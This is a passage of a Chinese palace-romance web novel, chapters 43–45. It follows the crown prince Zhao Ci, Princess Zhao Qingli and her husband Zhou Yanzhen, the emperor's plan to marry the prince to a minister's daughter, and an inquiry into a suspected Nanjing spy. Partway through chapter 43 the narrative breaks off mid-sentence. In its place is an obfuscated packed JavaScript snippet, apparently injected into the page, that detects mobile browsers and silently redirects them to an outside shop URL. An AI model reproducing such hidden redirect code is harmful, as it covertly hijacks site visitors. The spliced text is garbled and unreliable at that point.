只是当他发现的时候已经晚了,若他早就发现,必定不会让赵清漓嫁给周砚枕。 他气恼周砚枕的欺上瞒下,气恼他敢为了赵清漓同他撕破脸,他气恼这样一个人居然也敢肖想他耿耿于怀多年的人。 但说到底,赵辞不怕周砚枕动心,至今为止还没有人能在他掌心翻出什么风浪,更何况是一个依附他才爬上高位的周砚枕。 他究竟怕什么,恐怕连他自己也说不清楚。 玄华宫西北方向的外殿并没有什么人在,所谓的尚书大人也根本没有拜访太子。 门楼高耸,朱红砖瓦砌起的围墙上,檐角层层叠叠,微微上翘,庭院之中影影绰绰,太子一行人还在回宫的路上,宫内却又来了不速之客。 为首的一身灰袍,身型有些佝偻,身边伴着两个脸熟的小太监,已然等候多时。 43. 第 43 章 李牧跟在永元帝身边几十年,从来没想过有一天会因为这事一连两次来玄华宫寻人,更巧合的是他每次都没能寻到。 上次他来,太子就不曾在宫里,直到天黑了才回,这一次也是如此。 也不知道这破事什么时候才是个头,李牧心急,索性今天也不走了。 他就坐在这玄华宫等,看他太子殿下什么时候回来! 直至傍晚,赵辞回到宫里时,李牧的脸色已经黑到不能再黑。 李牧说道:“太子殿下贵人事忙,可真让老奴好等!” 饶是李牧尽力做出客气的模样,语气却是一点也装不了,一股子阴阳怪气的味道。 赵辞略显歉意道:“公公久等了,不知今日公公来玄华宫可是又有什么要紧事?” “又”这个字说得好啊! 李牧暗道,你还嫌我来得烦,我还没嫌你这事腌臜呢! 李牧挤出一个皮笑肉不笑的表情来:“圣上听说殿下去了驸马府,特意着老奴来看一眼,没想到太子殿下果然又不在,老奴想着,回去也是交不了差,还不如在这等您回来,没成想这一等就是两个多时辰!” 赵辞岂能听不出李牧话中的责备和揶揄,字里行间的,赵辞也瞬间捕捉到同样的一个“又”字。 他不得不联想到上一次李牧来拜访他的缘由。 赵辞心中虽然不快,却不动声色道:“本宫听闻周中丞病了,特带了御医为他诊脉,驸马府地界偏远,一来一回不得不耽搁些时辰,这些公公您是知道的。” 李牧干笑几声,挺起佝偻的背,含沙射影道:“老奴知不知道不要紧,重要的是圣上知不知道,太子殿下,咱们就别耽误时间了,请吧?” 李牧做出请的姿势,他身后跟着的两个小太监也弯下腰来,齐声跟着喊了一声“请”,身子却一弯不起了,非要等着赵辞动身,他们才会动似的。 赵辞冷冷的一笑,心里顿时有了七八分猜测。 这准是又有人向永元帝告密,说他不避嫌地又去了驸马府,顺便再吹些耳旁风过去。 永元帝本就对此事没有完全搁下,这一听说还能得力,定然立刻差人来看,而他会差谁来做这件事,那自然是最信任的李牧。 赵辞知道这一遭是必须去的,便也不耽搁,换了件衣裳随他过去。 昭华殿。 永元帝在床上卧着,气色比之前好上许多,带那么点红气了。 不过赵辞的注意力放在了他身边那女人身上。 随着李牧的一声通传,赵辞收回目光,躬身对着二人行了个礼。 “给父皇请安,惠贵妃金安。” —————— 驸马府。 整整一日又半晌儿,周砚枕连房门都不曾打开过。 那天,他清楚的听到赵辞用只有他们二人才能听到的声音说了一句—— “周中丞若觉得那花魁娘子碍眼,本宫不介意替你将她除去。” 说完,那只手按着他的肩头重重一压,顿时就让他完全卸了力,再难直起腰身。 他怎么忘了,这位太子殿下最擅长的除了利诱,还有威胁。 为什么。 为什么有得一定要有失,为什么所有的东西他从来都抓不住,为什么......他总在走那条叫做“后悔”的路。 周砚枕烦躁地摇了摇头,想要将这些杂念全都抛开,离得越远越好。 褐木雕栏的房门圈在门框里,被风吹得猎猎作响,周砚枕抬起头,仍是一室寂静,只是那扇轩窗开着,恼人的风尽数从窗口向里灌,寒气充斥着整间屋子,他却没觉得冷。 此时他才真正了解,原来心冷比身更寒,殊不知那爱慕自己多年的女子新婚当夜是否比他心寒数百倍。 周砚枕自嘲地笑了笑,做出践踏他人真心之事,其实从那一刻起,他就再也不配了。 房门在外一敲再敲,响了良久,终于引得屋里那人的注意。 周砚枕起身去开门,是桑儿。 府里传言周大人是知道自己得罪了太子,这才将自己闷在房里闭门思过呢。有些不明事理的自然觉得害怕,生怕那太子殿下真生了气,牵连整个府邸。 不过桑儿听闻那位太子是个好说话的,平日待人总是客客气气,昨日出门时,她也没瞧见太子像是有多生气的样子。 管事的桑儿便被众人推搡至此,过来打听情况,只见桑儿站在门口犹犹豫豫的,看着没打算进来,只想在门前说说话,然而她又迟迟不敢张口。 想了半天,桑儿找了个借口问道:“昨儿个大人一天都没吃东西,今天的晚膳已经准备好了,您要不要......” “不必。”周砚枕简单地拒绝,着手扶上门边又要关上。 “啊?大人......”桑儿一怔,她话还没说完,转眼又被隔绝在外。 桑儿垂头丧气的下了台阶。 昨日她去请公主劝大人进食,谁知那位主子竟只歪着头一脸无辜,敷衍说了句“我怎么劝得动他呀”,便就真的不管了! 更怪的是,这俩人入府以来竟然都是分房睡的,是正经夫妻吗? 没等她接着想下去,身后突然传来房门开合的声音,桑儿惊讶地转过头,却是刚给她吃闭门羹的周砚枕。 “备车!” 话传到赵清漓那里时,只听说周砚枕行色匆匆地出门去了,至于去了哪里,守门小厮还没来得及问。 赵清漓点点头。 大约不是进宫就是去倚香楼吧,这么晚了,周砚枕总不至于专程去向太子认错吧,还是去倚香楼的可能性更大一些。 可惜赵清漓现在无暇理会周砚枕去了哪里,她心中有很多的疑问不能再耽搁下去,是该回宫一趟了。 翌日一早。 出门前,赵清漓看到昨晚出府的马车已经回来。这么说周砚枕夜里也回到府上了,许是回来太晚,这会儿还没起来。 她没多想,随即上了马车。 车轮碾过街道上的碎石,“哒哒”的马蹄声与车轮声交织作响,车厢尾巴扬起的微尘飞了很久,直到马车已经走远,片片尘迹才刚刚落地。 良久,赵清漓回到她熟悉的宫廷,守门的士兵一瞧是公主回来了,立刻放行让她进去。 等了一会儿,送行的宫轿落在面前,沿着熟悉的小路,轿夫们抬着轿辇,缓缓朝着行宫方向过去。 她既回来,出于礼数也应该先去向永元帝请安,为了避嫌太子行宫也是去不得的,至于淮王那,去的话未免太过突兀。 因此,赵清漓的目的很明确,她要去见赵齐。 —————— 昭华殿。 赵清漓为永元帝掖好被角,体贴地道:“父皇脸色看起来好多了,都有精神看书了。” “躺了这么久,药也喝了不知多少罐,总归要有些气色的。”永元帝也笑眯眯的,看起来心情不错,“今儿怎么想起进宫来看看,可是在外头住的不习惯?要不要再添点儿什么?” 见到最想念的父皇对自己如此关心,赵清漓仰着小脸由衷地笑道:“住得习惯,不过是父皇和母后不在身边,这才真让清漓觉得不习惯!” “油嘴滑舌!”永元帝宠溺的骂了她一句,脸上却高兴着。 父女相见,总是要唠上一会儿家常,听到赵清漓在外一切都好,永元帝也放心了。 他近日又翻起了年轻时常看的通史,不知怎的却沉不下心去看,正好今日赵清漓进宫来,索性搁下手里的书,好好同她聊上几句。 永元帝好奇道:“怎么今日只有你一人进宫来,驸马呢,他怎么不陪着你?” “他病了。”赵清漓自然地回答,“大夫说要好好歇着,就不折腾他啦。” 永元帝的眼神微微闪烁几下,一副恍然大悟的样子:“朕怎么糊涂了,前儿个澜之回来还跟朕说了这事,这一转眼,朕就给忘了......” 原来赵辞回来之后已经将见过周砚枕的事告诉了永元帝。 想想也是,他带着御医出宫,永元帝关心一句很合常理。 说话时,永元帝眼中闪过几分试探和算计,不过却很短暂,赵清漓没有察觉,还以为永元帝在自嘲生病之后身体大不如前,乖巧地安慰:“不是什么要紧的事,父皇不记得也很正常。” 眼见着她回答的从善如流,似乎真的没有得到任何消息。 永元帝沉吟了下:“也不能这么说,驸马和你一气同枝,他的事就是你的事,你的事就是咱们自家的事,还是要紧的。” 自家的事...... 这样温暖的话,赵清漓觉得自己已经很久没听过了,瞬间觉得找回些儿时的温暖来,眼眶跟着泛了红。 永元帝一看她像是委屈了,急忙直起半截身子:“怎么了?是不是那周砚枕给你气受了?你老实告诉朕,朕治他的罪!” 赵清漓咬着唇,摇了摇头,带着点颤音说道:“没有,就是觉得离开父皇已经好久了,心中伤感。” 永元帝的脸色顿时涌现出一阵怜惜,但很快的,他突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999062|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情别扭起来,问道:“你这么说......可是想搬回宫里住了?” 赵清漓不懂他为何会得出这个结果,诧异地愣住片刻,讷讷否认道:“没有,父皇怎么这么问?” 握着她的手不着痕迹地松开,赵清漓只觉得刚才还面容温暖的父皇迅速变得冷漠,看她的眼神也变得不自然。 永元帝停顿了下,沉了点语气:“你老实告诉朕,你今天回来是为了什么?” 赵清漓心中咯噔一下,她今天回来的确有自己的打算,但不论怎么说也是为了皇族,并没有什么见不得人的心思,父皇这样的神情和语气,倒像是怀疑自己的用心了! 赵清漓被问得心中微微震撼,面上却没表现出什么,委屈道:“清漓还能为了什么,自然是从未离开您和母后这么久过,想念的紧,父皇这话是什么意思......若您不想清漓回来,清漓以后不来就是了......” 许是她的语气太过可怜,永元帝的表情柔和下来,叹一口气:“你也别怪朕,当日允你出宫,朕也是十分不舍得,若非因为那档子事儿,朕也许根本不会同意。” 他说的那档子事儿自然就是她和赵辞的传闻。 赵清漓垂眸,快速地思索了下,抬起头定定地看着他:“清漓明白的。” 永元帝扫了她一眼,幽幽开口:“朕问你,你和澜之兄妹相称十几年,这些时日,你可对他动过什么别的心思?” “怎么会!”赵清漓吃了一惊,站起来郑重解释道,“清漓一直把皇兄当亲哥哥对待,从来没有半分不轨之心!” 她保证的时候底气十足,脸上的惊讶也不是装的,至少永元帝看不出什么不对来。 实际上她说的也是事实,在重生以前,赵清漓一直是当赵辞为兄长对待,因此才能这么底气十足的说出这些话。 但若是问她现在如何看待赵辞......她还真不知道怎么回答。 永元帝微微点头:“朕相信你,来——” 他伸出手,看着赵清漓的表情从激动渐渐缓和,接着略显迟疑地把手放在他的手心,拉着她坐下。 永元帝目光柔和地看着她:“你觉得,吏部尚书家的女儿如何?” 这问题问得没头没尾,很是突然,赵清漓愣了下,仔细回忆秦家独女的样貌,然而她只在宴席上见过几次,说过寥寥数句话,平日里更没什么接触。 赵清漓老实地回答:“不太了解,只知道是个安静话少的,长得也很温婉贤淑的样子。” “不错。”永元帝轻轻笑了下,“那,清漓觉得她做你的皇嫂......如何?” 这句话如同一个霹雳,比先前的任何话语都更让她震惊。 “皇皇皇皇嫂?”赵清漓险些咬了舌头,赶忙收敛起表情,认真地问,“父皇的意思是,让她嫁给......三皇兄么?” 不知为何,问出这句话时,她的情绪很复杂,有震惊,有酸涩,有解脱,有失望,却唯独没有惊喜。 “澜之年满二十,又是太子,也是时候考虑娶亲了,那秦家姑娘出身虽然差了点,不过朕瞧着澜之与秦尚书来往尚密,秦尚书对他也颇为欣赏,让那秦家姑娘嫁去做个侧妃应当不成问题。”永元帝一直在观察赵清漓,在见识过她的表情之后越发狐疑,“怎么,你不愿意?” 她的确大吃了一惊,头脑却是清醒的。经历过一瞬的震撼之后,赵清漓渐渐镇定下来,她知道不能再露出破绽了。 赵清漓摇了摇头,一脸的真诚:“清漓没有不愿意,只是觉得事情突然罢了,不过这样也好,如此一来就不会再有我和皇兄的谣言,父皇也能安心休养,不必再为我们烦忧。” 说到后面,她甚至佯装认同地点点头,一副体贴备至的模样。 听到她这么说,永元帝很欣慰:“不错,朕其实也有此番考虑。” 赵清漓犹豫了下,还是没忍住问道:“......父皇可问过三皇兄的意见了?” “问过了——” 扑通、扑通、扑通...... 她听到自己的心跳声正在放大,越来越响,震耳欲聋。 不过是一个回答而已,永元帝的停顿却慢的像过了数年。 “澜之很满意。” 霎时间,赵清漓觉得自己的喉咙间似乎有道刀片从上至下划过,干疼的感觉被她悄悄咽下。 一丝机械的笑爬上她的唇角,赵清漓再次抬头,眼睛弯着,笑意却不达眼底。 “那......清漓提前恭喜皇兄了。” 44. 第 44 章 约莫在赵清漓十三岁左右的年纪,彼时的赵辞虽也还是少年,他处事自若却不老成,比年岁相近的皇子们心性更成熟许多。一个生得好看又对自己十分照顾的少年郎,少女懵懂的心中总归会泛起一些涟漪。 直到周砚枕的出现,她似乎终于明白什么叫做一见倾心,什么叫做男女之间的喜欢。 渐渐的,赵清漓也能够理解赵辞的这种偏爱是一种出自亲情的表现,也理所当然地把自己心中偶尔泛起的涟漪归结为对于兄长的依赖。那些幼时扬言要寻得一个皇兄这般拔尖男子的话语也渐渐被她抛却脑后,只当做是心性幼稚时的玩笑话罢了。 后来发生了那些事,赵清漓对他有埋怨、有失望,有慌张和无措,自然也有伦理被打破的无法接受。她觉得自己看错了赵辞,也觉得自己永远无法原谅赵辞。但不可否认的,她的心中并想象中的那么恨。 或许因为在赵清漓的心里,赵辞始终是她从小亲近和依赖的人,也始终是无法完全放下的人。 于是在得知这位皇兄即将议亲,不日将会出现一位真正有名有份的女人嫁入太子府邸,赵清漓的心情是很复杂的。 她说不清楚这是什么样的感觉,也不觉得这种感觉有什么好。 她只是觉得终于。 终于。 —————— 侍女春桃早已在殿外等候多时,见赵清漓出来,眼睛一亮。 春桃附耳上前:“公主今天运气真好,六殿下也去了丽妃娘娘寝宫,这会儿应该还没走。” 赵清漓扬了扬眉,注意力从方才的事情中拉回,小声惊讶了一句:“真的?” 今天她进宫来时间并不松快,霁月宫离这不近,若跑空就太不划算了,于是她进门前就已经派春桃去打听丽妃这会儿是否在自己宫里,没想到还有意外收获。 “错不了!”春桃压着声音笃定道,“奴婢方才在宫门口打听过,六殿下今日并未出门。” 赵齐也在那就更好了,正好还能从他那里了解一些情况。 赵清漓暗自点头,又嫌轿辇大张旗鼓还慢吞吞的,干脆也懒得乘,一边带着春桃朝外走,故意扬起声音道:“好不容易回来一趟,对这宫里的一草一物倒是格外想念,春桃,你就随本宫到处走走吧。” 春桃欠身,低眉顺眼地应了声:“是,公主殿下。” 主仆二人一唱一和,看似寻常的对话,步伐却是直冲霁月宫而去。 半月时间过去,芙蕖池的黄叶不知什么被宫人清扫干净,池面碧绿颜色显得更带冷意,加上这里本就地处偏僻,除了夏季,平日里连个人影都很少见,更是冷清。 唯一四季如春的地方大约只剩霁月宫。 靠近宫门,宫女把新换下的水浇在院子里,那里种了许多草木,最为显眼的是大片橘红的蟹爪菊,颜色艳丽抓人眼球,菊丝蓬勃地向外张开,旺盛极了。 赵清漓把目光从花身上收回时,赵齐正欲离去,一只脚已然踏出门槛,抬眼瞧见赵清漓正好进来,眼中露出一阵诧异。 赵齐微微歪头,像是思索她为何会来到此处,然而最终还是没想明白,迟疑问道:“不是说出宫去住了,什么时候回来的?” 丽妃听闻动静跟着出来,赵清漓扫了一眼,微微笑道:“我才刚来,六皇兄这就要走了?” 这话自然是说给丽妃听的。 果然,丽妃立刻打起圆场:“就说让你择空瞧瞧你妹妹,你倒好,还让人家先来瞧咱们,没规矩!” 赵齐撇了下嘴,小声道:“我哪有时间瞧这个瞧那个的,二皇兄不是也没去嘛......” 丽妃一瞪眼,剩下的话被他咽了下去,随后换了副表情,笑嘻嘻地对赵清漓道:“算啦,忙也不差这一时,皇妹快进来坐!” 赵清漓这才顺势跟着进了暖阁,临到门前,对着春桃稍稍点头,示意她在外面留心。 春桃还是很伶俐的,知道丽妃宫里的人自然不会对其他宫里的人有什么警惕,因而特意走远一些,直到走出外院,拐过弯去就能看到芙蕖池的白玉栏杆,也能瞧见远处往来之人所出行宫的方向。 暖阁之内,铜炉香灰落了厚厚一层,屋里的百合花味道夹杂了浓郁的白檀香味,还有些说不清的药味。 赵清漓沉吟了下,看向丽妃:“霁月宫里素来都是花香味,怎么许久未见,娘娘也开始用上香炉了?” 丽妃无奈地弯了弯唇角,眼中的疲态暴露无疑:“这些时日总是睡得不安稳,你父皇便命人送了些安神香来,这香中添了几位药材,据说也是对助眠有奇效,索性便用着了。” 赵清漓点头:“父皇送的东西自然是好的。” 丽妃却摇了摇头,余光不着痕迹地在赵齐身上掠过,接着道:“有总比没有好。” 谁都知道丽妃不爱管闲事,唯一能让她忧心至此的,除了六皇子赵齐再无旁人,说句大逆不道的话,就算永元帝即将殡天,恐怕丽妃都不会有太大的反应。 想到此处,赵清漓低头抿唇轻笑了下,侧脸看向赵齐:“方才六哥还还嘴说二哥不曾去看过我,你可知我院里一半的华锦料子都是二哥送来的,就因为那日宫宴上咱们私下打趣他不会夸人的那句——” 顿了顿,赵清漓眼睛弯成月牙,一脸天真地望着赵齐说道:“二哥可真是细心,我不过随口说的一句玩笑,也值得他记那么清楚。” 赵齐挠了挠头,有些不好意思:“惭愧惭愧......看来还是为兄考虑不周了......” 赵齐是最不屑于装模作样的,他没规矩惯了,总是想什么说什么,说什么做什么。因此,看他的样子,似乎对淮王并没有任何疑心。 赵清漓心里泛起嘀咕,面上加深笑意,摇摇手不在意道:“难得见六哥这么认真的认错,怎么倒像是转性了?” 不提这个还好,一提起来,赵齐的脸色立刻黑了几分,如同那烧了一夜的煤炭,难看的很。 再瞧赵清漓睁着杏眼,一张巴掌大的俏脸上写满了关心,赵齐忍不住想和她倒苦水,虽然这些话他已经同自己的母妃说了无数遍了。 “唉——”赵齐重重叹了一声,“皇妹能出宫去可真是让人羡慕......” “怎么说?”赵清漓托着脸,小口抿着手心捧着的茶水,透过缝隙看去,丽妃的脸色也并不好。 赵齐皱着眉道:“父皇最近不知道是怎么了,他能舍得把你送出宫已经很不可思议了,居然还能翻手用起我来......啊!母妃别瞪我,我不是不想为父皇排忧解难,只是您也知道我天生不是这块料,父皇让我去办,不是给他老人家自己添麻烦嘛......” 这话倒是没错,赵齐对于这些“麻烦事”一贯敷衍了事,能不沾就不沾,永元帝对此也很清楚,默认了他去做个闲散皇子,任何事几乎都是经由太子一手办的,再不然还有淮王作辅,从未用过赵齐。 但听他的意思,这段时间赵齐似乎为了永元帝交代之事正忙的不可开交。 丽妃斥责:“还不是为了你好,你父皇有意封你为王,你总这么没出息,到时候惹得群臣不满,还不是丢自己的脸!” “六哥要封王了!”赵清漓惊讶一声,转头望着赵齐,不解道,“这是好事呀!六哥怎么还愁眉苦脸的?” 赵齐又叹道:“我知道是好事,可父皇交代的事就不是什么好事了......” 赵清漓和丽妃对视一眼,后者摇摇头,脸上挂着几分为难。 看来这事真的不寻常。 赵清漓可好奇了:“是什么事这么难办?” 赵齐捏了捏拳,收起脸上的不正经,一脸郑重地瞧着赵清漓,犹豫道:“......我与你说了,你可不要告诉其他人。” “凭我和六哥的关系,你还怕我出卖你吗?”赵清漓嗔怪地瞪他一眼,又去向丽妃争这一口气,“丽妃娘娘,你说是不是?” 她和丽妃早就赵齐的事谈过,此时此刻,丽妃自然是站在她这边。 被两人施压,赵齐像是自讨没趣,只得举手投降:“好好好——” 他想了想,吐出一个十分陌生的名字:“父皇让我去查......季云柔。” “季云柔?” 赵清漓在脑海中搜索了一遍,也没找到这个人。 其实赵齐对季云柔所知也甚少,若非永元帝交予他这个任务他大概永远不会记得这个名字。 丽妃沉默了片刻,轻声开口:“季云柔是南靖的人。” 这间屋子里没有什么人对季云柔了解很深,但若说谁对南靖更清楚一些,也只有丽妃了。 见两人都茫然地看着自己,丽妃笑了笑:“南靖被大历攻下时,你们父皇还是太子,就连我也还未曾进宫,你们觉得陌生也不奇怪。” 发生那些事的时候,赵清漓和赵齐还尚未出生,丽妃也是入宫以后才渐渐知晓这些过往,但这些事只在长辈和同辈们口中流传,小辈们年纪相差甚远,自然也就没再听说过。 赵齐一拍掌,恍然大悟:“怪不得父皇说是调查奸细呢!原来她是南靖的人啊!” 丽妃说道:“自古以来,无论是改朝换代还是开疆扩土,能留得一命的只有百姓,皇室全族都要被尽数绞杀,以绝后患。” 这道理赵清漓是明白的,若留有活口,免不了皇室或他们的后人会有复兴旧朝等心思,等于是给国家留下隐患,古往今来皆是如此,无不例外。 这些话听来虽残忍,却是不容质疑。 赵清漓问道:“所以......季云柔是南靖皇室之人?” 丽妃想了想:“太后还在世时,我也只听过那么几句,南靖一族冠楚姓,季姓并非南靖大姓,季云柔最多是个旁支。” 若是皇室,一笔一划皆是可以查证的,赵清漓问:“族谱上没有记载吗?” 丽妃摇头。 赵齐思量片刻道:“族谱上所载并非全部,那些见不得光的都是没资格出现在族谱上的,这季云柔查无此人也不奇怪。” 丽妃难得赞许地看了赵齐一眼:“没想到齐儿也能想到这层,也是办了许多天的差事,有所长进了。” 赵齐有点无奈,摊了摊手还嘴道:“您也太小瞧儿子了,我是随了您的性子不爱管闲事,又不是傻。” 虽是这么说,但赵齐到底有些小孩子心性,得了夸奖,嘴角便抑制不住向上抬了几分。挑眉望向赵清漓,等着另一只耳边也钻进几句赞许的话。 然而赵清漓一门心思在季云柔身上,根本没注意到他的表情,垂着眼自言自语:“既然族谱上并没有季云柔的名字,怎能确认她一定是南靖的奸细呢?” “因为南靖确实有这个人嘛!”赵齐随口接过她的话,“父皇说,南靖的确有个叫云柔的女子,虽然不知道是不是姓季,但从昔年收缴的书信中可以确认,有个落款名为''云柔''的曾在宫中生活多年,许是她侥幸逃脱改了姓氏呢!” 赵清漓不置可否。 凭永元帝的性情,但有一丝疑点和隐患,他都不可能轻易放过,他对自己的江山爱之深切,断不会允许有意外发生。 但他为何不让赵辞他们着手去查,反而让赵齐查证此事呢? 赵清漓抿唇,抬起下巴,小心说出自己心中的猜测:“六哥......莫不是你平日里花天酒地,恰好与那季云柔惹上什么关联吧?” “呃......” 赵齐的脸色陡然变得尴尬,张了几次嘴,结果愣是没吐出半个字来。 丽妃这回是真重重叹了口气,摇头道:“你要是有清漓一半的聪慧,我也不至于如此忧心了......” 还真让她猜中了,若非此事和赵齐有关联,父皇怎会让赵齐去办,他最喜欢让人自证清白,这点赵清漓深有体会。 但说白了,永元帝更喜欢的是看人自己打自己的脸,但对于自己的儿子,他应该不会想看到这样的场面吧。 赵齐耸了耸肩,颇觉无奈:“我不过是去了趟倚香楼见见花魁娘子,谁知道那个奸细也去过,也凑巧见了那花魁娘子,你说我冤不冤?” 赵清漓想起那日自己也去了倚香楼,还碰上大肆搜捕的刑部人马,似乎一切都对上了。 至今为止,倚香楼没事,周慕紫没事,可见的确都是巧合,赵齐会惹上这麻烦,应 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他们在霁月宫聊了很久,还是刑部的人等不及了,先来寻的赵齐,说有探子传来消息,等着他去定夺。 虽然十之八九又是空欢喜,但他还是揉着眉心匆匆离去了。 赵清漓也差不多要走,庭院外不远,春桃正在等她,见人出来,随即摇了摇头。 其实在很多时候,她和赵辞的想法很像,唯一的区别是赵辞手中有权,而赵清漓只有自己。 好在这趟不算白来。 赵清漓听说长宁公主请命去南境陪伴瑄亲王,在她离宫后就启程了;永元帝也并未以参本之事责问赵齐,一是在等太子查明事实,也或许这次的差事就是对赵齐忠心的一种试探。 但这些都远不如淮王的事迫在眉睫,若他真在其中牵扯...... 一想到南靖,赵清漓心中阵阵后怕,难道前世结局并没有结束,只是推迟了? 忽然,一颗小石子蹦着跳着,踩着清脆的声响,三两下滚落在她面前,紧接着一对长靴踏足而来闯入视线。 顺着鞋面一点一点向上看去,来人一身湛蓝长袍洗得干干净净,笔直地立在她面前,笑得十分开朗。 赵清漓怔了一下,下意识地目光在周围扫了一圈儿,并没瞧见其他人。 “公主是在找太子殿下吗?” 这声音带着一丝调侃,拉着赵清漓的目光重新落回在他身上,此时的荀安歪着头笑嘻嘻的,显然比刚才更得意。 赵清漓冷哼一声:“皇兄这会儿不是应该忙得不可开交,你不去想办法帮他排忧解难,在这里晃什么?” 赵清漓所说的忙自然不是指政事,因此语调中带了不少揶揄和讥讽的意味。 可惜荀安是个一根筋的,听不出人家在讽刺自家主子,反而对她的话点点头,说道:“太子殿下听说公主去了丽妃宫里,特意派我来看看。” 他消息可真灵通,什么听说,不就是放了眼线在这附近么? 赵清漓轻轻勾唇,抱着手臂不屑道:“看完了?” “看完了。”荀安微微弯腰,抬手作了个请的姿势,抬着眼轻声说道,“接下来,殿下请公主过去一叙。” 这里是后宫,他竟敢这样堂而皇之的让荀安来找他,就不怕别人瞧见?上次的事他还没长记性吗? 赵清漓冷眼睨着荀安,没有动作的意思。 风声渐起,石子路上的落叶随着她的裙角一并被卷起,沙沙作响,她的鬓边被风勾的微乱。 秋风骤停,赵清漓抬起玉腕,伸出两指勾起那缕碎发挂在耳后,反问:“我若是不去呢?” “那我便亲自请你过去。” 随着身后话音还未落地,一只有力的大掌赫然攥紧她还未放下的手腕。 赵清漓是被他拉着,由不得自己的意愿,只能跟着他的动作回头。 还没来得及看清形势,下一刻,她又踉跄着被他死死扼住腕子,跟在他身后走着。 这身熟悉的蟒袍她再熟悉不过,虽然只能看到背后的锦绣蟒纹,但这纹样换作其他人也是不敢穿的。 况且,除了赵辞还有谁敢在后宫这样拉着她横行。 荀安和春桃已经落后很远,赵清漓用力挣了几下,在他的力气映衬之下,她的挣扎作用几乎为零。 赵清漓只能瞪着他的背影呵斥:“你这叫请吗?” 分明是绑架! 流星大步猝然停下,赵清漓险些栽在他的背上,好在她及时收脚,这才稳住了身形。刚刚站好,赵辞又攥着她的手腕不由分说扯到自己面前,这下更是差点落进他的怀里。 赵辞冷着脸,居高临下地回答她的问题:“荀安请你不愿过来,那我只能亲自请你,至于如何请,那就是我的事了。” 此刻,赵清漓才刚刚看清他的脸,那张俊俏又隐含锋芒的脸上像是结了霜,不单没有半分笑意,反而带着一丝克制着的愠怒。 他甚少在人前露出怒意,头一次见他毫无玩笑的表情,赵清漓也觉得有些恍然。 就像一向老实好脾气的人第一次发了怒,任谁见了都要生出三分畏惧来,这是人性。 赵清漓愣了下,想起这是后宫,实在没必要这时候和他整个高下,气焰消减了一半,但语气也不算好:“皇兄有事?” “有事?”赵辞扯了扯唇角,露出一个危险的冷笑,“这话应该我问你,既已离宫,回来做什么?” 赵清漓好脾气地笑了笑,端庄道:“这里是我家,我回来看看父皇有何不妥?” 的确没什么不妥,但他分明警告过,宫里危险。 赵辞盯着她,眸中寒意愈发浓郁:“是不是来看父皇,你心里最清楚。” “我自然清楚。”赵清漓自若地避过他的目光,倒不是觉得心虚,只是还在置气,因此语气也不免刻薄,“若非我今日回宫,恐怕还不能提前恭喜皇兄了。” 想起永元帝的话,赵清漓冷然一笑,回过头面对着他,一字一句道:“恭喜皇兄,也恭喜皇妹我——总算要有新嫂了。” 45. 第 45 章 听到“新嫂”两个字,赵辞的脸上终于出现微微动容,他随即明白了她的话,却没表现出太多的其他情绪,只是淡淡地看着她:“他告诉你了。” 这句话像是在问她,又像是在告诉自己,听不出什么语气。 其实赵辞一直都明白这件事瞒不了太久,只是没成想竟会这么快。 他就这么一时半刻都等不了,这么想要斩断他们两人的关系,哪怕他们根本不是兄妹,就为了保全他的皇家颜面...... 是吗? 眸光经过他仍紧紧握着自己的动作,赵清漓同样淡淡回应:“秦家本就不是什么大户,她能做太子侧妃已是父皇抬举,不过皇兄若是真喜欢她,待日后继承大统,再将她扶正也未尝不可。” 隐约的,赵辞从她淡然的语气和神情中听出几分刺耳的感觉,就像是......嫉妒。 陡然间,他觉得心情似乎好了一点,虽然只有那么一点点。 他迫不及待想要了解她的想法,于是说道:“秦雪霓既通诗书、又懂才情,的确是不错的人选。” 赵辞这话说的很巧妙,只提“人选”,却没点露半分情感。 也是他急于知道她的感受,话语中的一点试探就这么被赵清漓精准捕捉到。 赵清漓抬起长睫,晶亮的水眸在他脸上迅速扫了一圈,随后她噙着得体的笑,轻声回应:“是,有秦姑娘辅佐皇兄,清漓也觉得很好。” 她没有展露任何别样的情绪,以至于赵辞刚才发酵的那么一点好心情,在听到这句话的瞬间像是被冷水扑灭的星火,微小短暂的温暖转眼变得阴冷潮湿。 奇怪,他心底分明有个声音在告诉自己,他听到的并非她的真心,却抑制不住那股子烦躁的劲儿头迅速上涌。 好想剥开这层朱衣包裹之下的心,看看那里面装的究竟有没有他。 许久,赵清漓听到他的声音:“你真觉得这样很好?” 分明当初那些话是他说的,如今食言要另娶别人的也是他赵辞。怎么听语气,倒像是自己做了什么对不起他的事? 赵清漓觉得十分可笑。 “很好。”她没有犹豫,立刻回答了他的问题。 赵辞盯着她看了一会儿,突然笑着松开了对她的钳制,那张脸上的表情再度恢复如初,像往日人前所见一般,再无任何区别。 洁白的皓腕纤细若骨,撩开袖口,上面已挂着一圈清晰可见的红痕,想来也知道方才他的力道有多重,赵清漓甚至觉得他放手的这一瞬间,手腕也变得麻木了。 赵辞也淡道:“很好。” —————— 空旷的车厢随着车轮轧过散碎石子不加规律地晃动,层层木板造就的车厢结构发出轻微嘎吱嘎吱的响声,马车的底盘却很稳,连同置在中央的小几都是纹丝不动,八分满的清茶轻摇几下,一滴也没撒出。 春桃坐在车厢一侧,不时抬起眼睛悄悄打量赵清漓的表情,想透过她的神色了解几分她的心情。 然而什么都没有,赵清漓一副漠然的表情倚在车厢中央上座,眼睑微垂,看起来像是乏了。 微阖的羽翼下是她湛亮干净的眸色,过了一会儿,那对长睫倏然掀起,雪白的耳垂上,绯红的镂金缀玛瑙耳环微微晃动,随着赵清漓的下巴稍稍侧过,人却只是调整了下倚靠的角度。 没想到却正对上春桃还没来得及收回的打量。 春桃怔了下,急忙转过头,拉起身后垂下的车帘,探着脑袋掩饰心中的慌乱:“公主您瞧,街上真热闹啊,要不要买些什么回去——” “你想问什么?” 春桃的声音戛然而止,拉着车帘的手指颤了两下,随即她转回脑袋,赵清漓正歪头气定神闲地瞧着她,一副看穿心思的样子。 春桃支支吾吾的:“公主,奴婢......奴婢......” 